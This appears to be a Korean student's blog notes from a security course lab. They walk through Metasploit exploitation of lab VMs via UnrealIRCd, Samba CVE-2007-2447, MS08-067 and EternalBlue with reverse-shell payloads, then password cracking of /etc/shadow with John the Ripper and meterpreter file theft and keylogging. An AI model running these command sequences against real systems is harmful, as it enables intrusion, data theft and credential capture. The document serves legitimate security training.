* 지난 시간의 복습!
* 취약점 분석 및 진단
1단계 ) 포트스캐닝
= 열린 포트를 확인 : 어떤 서비스가 실행중인가 파악 ( 관리자가 실행하지 않은 서비스 ( 백도어, 트로이목마 )가 실행중이라면 매우 위험 )
= 오래되어서 취약한 서비스 확인 : 버전확인
= 종류 : IP스캔, TCP스캔(Open 스캔 ), SYN스캔(Half-Open스캔), UDP스캔, X-mas/Fin/Null, OS, Version, All scan 등등
2단계 ) 취약점에 대한 조사
= 구글
= 취약점 제보 사이트 : http://www.exploit-db.com ( Offensive Security 에서 운영 )
= 취약점 전문 사이트 ex ) Rapid7 : Metasploit를 판매하는 회사
= 취약점 공식 웹사이트는 http://www.cve.mitre.org
3단계 ) 스크립트를 활용한 상세 스캐닝
= Kali Linux에 있는 nmap 스크립트를 활용
$ cd /usr/share/nmap/scripts
$ sudo find . -name "*취약점*" //어떤 스크립트를 사용할 것인지 찾아봄
$ sudo nmap --script=[스크립트 이름] x.x.x.x -p[포트번호]
----> VULNERABLE! 라고 나오면 -----> 진짜 취약함!
4단계 ) Metasploit를 이용해서 Exploit를 해보는 단계 ( White hat의 경우 보통 4단계는 진행하지 않음, 퍼포먼스용 )
$ sudo msfconsole
msf6> search [취약점]
msf6> use [공격모듈] // 공격 모듈 장착
msf6> info // 장착한 모듈에 대한 설명을 볼 수 있음
msf6> set rhosts [타겟 호스트]
msf6> set lhost // Reverse Connection (트로이목마) 등을 사용하는 페이로드인 경우
msf6> show payloads // 어떤 페이로드를 사용할 수 있는지 목록 확인
msf6> set payload [페이로드] // 페이로드 설정
msf6> show options // 지금까지 설정한 내용이 올바른지 확인
msf6> exploit // 공격 시작!!
실습 ) Kali 와 Metasploitable2 를 부팅
1단계~4단계 까지 수행하면서, 6667번 포트의 취약점에 대해 진단하고 Exploit 까지 해보세요~
* Payload 선택시 참고
= 공격 모듈에 기본 장착되엉 ㅣㅆ으면 별도로 설정 안해도 됨
= Rapid7에서 인수할 때, Perl script를 Rudy로 재 구조화 하였음 ---> Ruby로 만든 스크립트가 더 잘 동작함
= 이것 저것 해봤는데 딱히 마땅치 않을 경우, cmd/unix/generic 을 고르면 무난하게 동작함
실습 )
$ sudo nmap -sV 192.168.5.132
6667의 버전은 irc UnrealIRCd 였다
all serach로 더 자세하게 알아본 irc 버전
irc를 구글에 검색해보자
https://namu.wiki/w/IRC 꺼무위키 기준 인터넷 릴레이 채팅 시스템인거같다.
msf6 > search irc
해서 서치한 결과는 아래와 같은데
25개나 나와서 당황했지만 아마 18번 저거인거 같다.
순서대로 해서 4단계 까지 진행한 모습
1 = payloads 중 안되는 것을 사용해서 막힌 모습
2 = 다른 페이로드로 교체
3 = show options ( 교체 확인 )
4 = exploit ( 공격 시작 )
5 = 성공한 모습.
강사님은 이렇게 하셨는데 3단계에서 스크립트 실행하기를 하였을때 Looks like trojaned 이라는 말이 써있는데 즉 리버스방식 이라는 뜻이고 그래서 페이로드를 리버스 들어간걸 사용하셨다.
리버스가 들어갔으니 lhost도 해줘야한다.
그런데 난 bind가 들어간걸 사용했는데도 공격이 되긴 하였다... ( 아마 방화벽이 없는듯 )
-------------------------------------------------------------------------------------------------------------------------------------------------------
실습 ) Samba 취약점 찾아보기
= SMB ( Server Message Block ) Windows에서 Windows 간에 파일 및 폴더를 공유하는 프로토콜
= SMB Linux에서도 활용하기 위해서 만든 프로토콜이 SaMBa임
= Winodws 계정을 Linux 계정과 일치를 시키면 권한을 부여하면 파일을 리눅스에 백업하거나 복사 기능 등이 가능 ( 부서 공유 서버로 활용 )
= 공격자들이 경유 서버로 활용 할 가능성이 있음
1단계 ) 스캐닝
----> 445번 포트에서 SAMBA 버전 3.0.20을 사용하고 있음
2단계 ) 검색 ( 구글에 samba 3.0.20 exploit 이런식으로 검색 )
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit)
공식 취약점 번호 : CVE-2007-2447
3단계 ) 상세 스캐닝
------> samba 나 2447 등을검색해도 스크립트가 안나온다 $ sudo find . -name "*samba*"
-------> 3단계가 없으므로 4단게를 해야됨
4단계 ) Exploit
search samba //25개나옴 ( 있긴있는데 너무 많아서 찾기 힘듬 )
search cve-2007-2447 //1개나옴 ( 바로찾음 , 취약점 번호로 검색하면 잘나온다 )
msf6 > use exploit/multi/samba/usermap_script
msf6 exploit(multi/samba/usermap_script) > set rhosts 192.168.5.132
msf6 exploit(multi/samba/usermap_script) > show options // payload 확인 ( 이미 장착 되어있음 )
msf6 exploit(multi/samba/usermap_script) > set lhost 192.168.5.129 // payload가 reverse라서 l 호스트도 해줘본다
msf6 exploit(multi/samba/usermap_script) > exploit
[*] Started reverse TCP handler on 192.168.5.129:4444
[*] Command shell session 3 opened (192.168.5.129:4444 -> 192.168.5.132:49012) at 2022-09-20 22:41:08 -0400
공격성공
실습 ) 공격 성공후에 모든 계정을 크래킹하기
cat /etc/passwd
root에서부터 블럭 설정을 하는데, 맨 마지막 계정의 sh 까지만 블럭설정을 하고, 오른쪽 마우스 눌러서 Copy Selection 클릭
새탭을 열고 ( File > new tap
$ sudo vi passwd 엔터
( Edit > Paste Clipbord 선택 )
:wq
cat /etc/shadow
root에서부터 맨 마지막 계정의 ::: 까지 블럭설정하고, 오른쪽 마우스 눌러서 Copy selection 클릭
새탭으로 와서
$ sudo vi shadow 엔터
( Edit > Paste Clipbord 선택 )
:wq
------> 파일을 가져오기 어렵기 때문에, Meta2의 Passwd와 Shadow를 읽어들여서 내용을 직접 복사해서 Kali에 새파일로 저장함
실습 ) John the Ripper 라는 도구를 이용해서 모든 게정에 대한 패스워드를 알아내기
$ sudo unshadow passwd shadow > meta2.pass
$ sudo john meta2.pass
하면 패스워드를 다 찾아준다.
원래 몇개 더 있는데 패스워드가 복잡하면 패스워드를 찾는데 시간이 좀 더 걸린다.
진행 상황을 알고싶으면 스페이스바를 누르면 보여준다.
-----------------------------------------------------------------------------------------------------------------------------
* John the Ripper
= 패스워드 크래킹 도구
= 리눅스 : Passwd와 Shadow를 가지고 있으면 패스워드를 크래킹 해줌
= Windows는 Sam 파일이 있으면 패스워드를 크래킹 해줌 ( sam 파일은 Windows 실행중에는 복사/삭제/열기 불가능 )
실습 ) Windows2003의 취약점을 찾아서 Exploit 해보기 : 1단계~3단계
(administrator / hp12345 )
1단계 ) 스캐닝
$ sudo nmap -A 192.168.5.141
------> Windows 2003, XP 등은 오래된 SMB 버전을 사용하고 있음
근데 존나많이 나오니까 나온걸로 한번씩 스캐닝 해봐야한다...
3 단계 ) (2단계 생략 )
$ sudo nmap --script=smb-vuln-ms08-067.nse 192.168.5.141
다른 애들은 VULNERABLE가 안뜬다.
$ sudo nmap --script=smb-vuln-* 192.168.5.141 //다 한번에 검색 하는법
버너러블 한게 2개 나왔다.
$ sudo nmap --script=smb* 192.168.5.141 // SMB에 관한거 걍 다보기
4단계 ) Exploit
search ms08-067
use exploit/windows/smb/ms08_067_netapi
info
set rhosts 192.168.5.141
set payload windows/vncinject/reverse_tcp //vnc를 주입하면 원격 조종이 된다.
set lhost 192.168.5.129
exploit
그런데 무언가 모듈에 문제가 생겨서 원래 있던 payload로 공격 하기로 했다.
set payload windows/meterpreter/reverse_tcp // 다시 원래 payload 로 돌아가자!
놀랍게도 이 또한 문제가 생겨서 그만 두기로 하였다. ㅠ
metasploit에 문제가 있는것 같다고 한다.
set payload windows/shell/bind_tcp // 최종 이걸로 했다.
근데 나는 안됐다...
나만 안된건 아닌거같다... 다행...
--------------------------------------------------------------------------------------------------------------------------------
* Windows 7 다운로드
압출풀기
로그인 : john / 윈도12#$
* 악성코드 Stuxnet 에서 사용한 취약점은?
= 4개의 Zeroday Exploit와 2개의 Oneday Exploit을 이용해서 윈도우를 통해 전파됨
= 이란에 있는 우라늄 농축시설을 운영하는 Siemens사의 PLC의 동작을 교란시키는 악성코드
= PLC는 프로그램된 로직 컨트롤러를 이용해서 사람이 할 수 없는 동작을 시킴
= PLC가 수백번 고장을 일으켜서 시설 파괴될 뻔 함.
https://www.ahnlab.com/kr/site/securityinfo/secunews/secuNewsView.do?menu_dist=2&seq=16852
----------------------------------------------------------------------------------------------------------------------------------
실습 ) windows 7 에 있는 취약점을 찾아보세요~~~
1단계 ) 스캐닝
$ sudo nmap -sn 192.168.5.129-140
$ ping 192.168.5.13 // TTL이 128이면 윈도우임
$ sudo nmap -A 192.168.5.133
( Windows7은 Server가 아니라 Desktop 이기 때문에 서비스를 거의 실행하지 않음 )
SMB1과 SMB2가 같이 사용되고 있음 ( SMB1의 취약점을 가지고 있음 )
3 단계 ) 스크립트를 이용한 스캐닝
이번엔 아까와 달리 MS17-010에서 취약점이 발견되었다.
4단계 ) Exploit
search ms17-010
use exploit/windows/smb/ms17_010_eternalblue
set target 1 // 오토라 안해도 되지만 그냥 한번 해본다
set rhost 192.168.5.133
set rhost 192.168.5.129
set payload windows/x64/vncinject/reverse_tcp // Victim의 화면을 볼 수 있음
set viewonly false // 보기만할꺼냐? true 는 보기만 하고 false 하면 원격 조종까지 하겠다.
exploit
개소름돋는다... 남의 컴퓨터를 내 컴퓨터처럼 아주 갖고 놀수있다....
----------------------------------------------------------------------------------------------------------------------------------------
set payload windows/x64/meterpreter/reverse_tcp // 이걸로 페이로드를 바꾸라고 하시는데 뭔지는 현재 나도 모르겠다.
exploit
하면 연결 성공
meterpreter > screenshot // 스크린 샷이 찍힌다.
* 참고 : ?를 치면 명령어 도움말을 볼 수 있음
* 파일 업로드
mkdir c:/game // game 이라는 디렉토리 생성
upload /usr/share/windows-binaries/nc.exe c:/game //파일 업로드
* 파일 다운로드
download c:/users/john/documents/*.* /home/kali //해당경로의 모든파일(*.*)을 home/kali로 옮기라는 뜻
download c:/users/john/documents/*.pdf /home/kali //해당경로의 모든 pdf 다 긁어와라~
cf. meterpreter 라는 도구는 리눅스와 유사한 명령어로 윈도우를 원격 조종할 수 있음
5 ) 키로킹 ( 키 입력값 알아내기 )
ps // 윈도우의 프로세스 목록을 볼 수 있음
그중 Explorer.exe 프로세스의 맨 앞 번호를 기억 : Process ID : 1752
meterpreter 프로세스를 Explorer.exe 아래로 들어갈 예정 // 하위 프로세스로 들어간다는 의미
migrate 1752 입력 후 엔터
keysacn_start 입력 후 엔터
이 상태에서 빅팀의 컴퓨터에서 로그인 해본다.
그리고 다시 칼리에서keyscan_dump 입력
아이디 비밀번호를 입력할때 키로그가 나온 모습
keyscan_stop 으로 끝낼 수 있다.
exit // meterpreter 종료!
'공부 > 시스템,네트워크 보안' 카테고리의 다른 글
9월 23일 시스템/네트워크 보안 7 (0) | 2022.09.23 |
---|---|
9월 22일 시스템/네트워크 보안 6 (0) | 2022.09.22 |
9월 20일 시스템/네트워크 보안 4 (0) | 2022.09.20 |
9월 19일 시스템/네트워크 보안 3 (0) | 2022.09.19 |
9월 16일 시스템/네트워크 보안 2 (0) | 2022.09.16 |